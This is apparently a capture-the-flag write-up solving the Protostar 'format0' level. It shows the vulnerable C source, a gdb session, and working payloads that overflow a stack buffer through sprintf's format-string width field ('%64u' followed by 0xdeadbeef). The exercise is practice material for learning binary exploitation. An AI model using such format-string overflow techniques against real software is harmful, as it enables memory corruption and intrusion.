Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
user@protostar:~$ /opt/protostar/bin/format0 user@protostar:~$
Exploit
Program should print the message “you have hit the target correctly :)”.
Hint from protostar: This level should be done in less than 10 bytes of input.
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); }
It appears that by setting the variable “target” to 0xdeadbeef we should get the message.
This challenge is based on format string vulnerability so sprintf looks like the candidate to attack. argv[1] is passed from main to vuln() which in turn passed to sprintf(). sprintf will print from source string into destination string. There are no direct assignments made from user controlled input to “target” variable.
How can we write into the ‘target’ variable?
Well there are two obvious possibilities, stack overflow through the sprintf call and overwrite ‘target’, or use format string exploit against sprintf and overwrite ‘target’ memory location using %n modifier. Well the challenge is to leverage the format string vulnerability.
I initially attempted to overwrite the memory location of ‘target’ using a combination of %(width size)x, %(parameter stack position), and $hhn for byte overwrite. This was unsuccessful because I ended up having to write more than 10 bytes for the program input and my total width values were so long that I ended up corrupting the stack and causing the program to crash before reaching the conditional check for the contents of ‘target’.
The final solution was to use the format string exploit in combination with a buffer overflow. The buffer belonging to variable named ‘buffer’ which is 64 bytes long. Since ‘target’ is declared right before ‘buffer’ we should only need to overwrite the ‘buffer’ by an extra 4 bytes.
I’m going to prepare a buffer of 60 AAAAs and 4 bytes of Ts write up to the location of ‘target’ but not over. This will verify if the exploit will work.
user@protostar:~$ gdb -q --args /opt/protostar/bin/format0 `perl -e 'print "A"x60 . "T"x4'` Reading symbols from /opt/protostar/bin/format0...done. (gdb) b vuln Breakpoint 1 at 0x80483fa: file format0/format0.c, line 11. (gdb) c The program is not being run. (gdb) disassemble Dump of assembler code for function vuln: 0x080483f4 <vuln+0>: push %ebp 0x080483f5 <vuln+1>: mov %esp,%ebp 0x080483f7 <vuln+3>: sub $0x68,%esp 0x080483fa <vuln+6>: movl $0x0,-0xc(%ebp) 0x08048401 <vuln+13>: mov 0x8(%ebp),%eax 0x08048404 <vuln+16>: mov %eax,0x4(%esp) 0x08048408 <vuln+20>: lea -0x4c(%ebp),%eax 0x0804840b <vuln+23>: mov %eax,(%esp) 0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt> 0x08048413 <vuln+31>: mov -0xc(%ebp),%eax 0x08048416 <vuln+34>: cmp $0xdeadbeef,%eax 0x0804841b <vuln+39>: jne 0x8048429 <vuln+53> 0x0804841d <vuln+41>: movl $0x8048510,(%esp) 0x08048424 <vuln+48>: call 0x8048330 <puts@plt> 0x08048429 <vuln+53>: leave 0x0804842a <vuln+54>: ret End of assembler dump. (gdb) b *0x08048416 Breakpoint 2 at 0x8048416: file format0/format0.c, line 15. (gdb) c Continuing. Breakpoint 2, 0x08048416 in vuln (string=0xbffff967 'A' <repeats 60 times>, "TTTT") at format0/format0.c:15 15 if(target == 0xdeadbeef) {
Judging from the instruction at 0x08048413, ‘target’ memory location appears to be at $ebx-0xc
(gdb) print $ebp-0xc $3 = (void *) 0xbffff75c (gdb) x /68xb $ebp-0xc-64 0xbffff71c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff724: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff72c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff734: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff73c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff744: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff74c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff754: 0x41 0x41 0x41 0x41 0x54 0x54 0x54 0x54 0xbffff75c: 0x00 0x00 0x00 0x00
We can see the buffer is filled with 0x41=’A’ and 0x54=’T’s then some 0x0
Let’s change the exploit by adding the value “deadbeef” in reverse byte order to the end of the payload.
user@protostar:~$ /opt/protostar/bin/format0 `perl -e 'print "A"x60 . "T"x4 . "\xef\xbe\xad\xde"'` you have hit the target correctly :)
It worked. But this is just a buffer overflow, we need to incorporate a format string exploit too.
We can use the unsigned decimal integer width field modifier %(int)u to help fill the buffer.
user@protostar:~$ /opt/protostar/bin/format0 `perl -e 'print "%64u" . "\xef\xbe\xad\xde"'` you have hit the target correctly :)
There you have it.
Thank you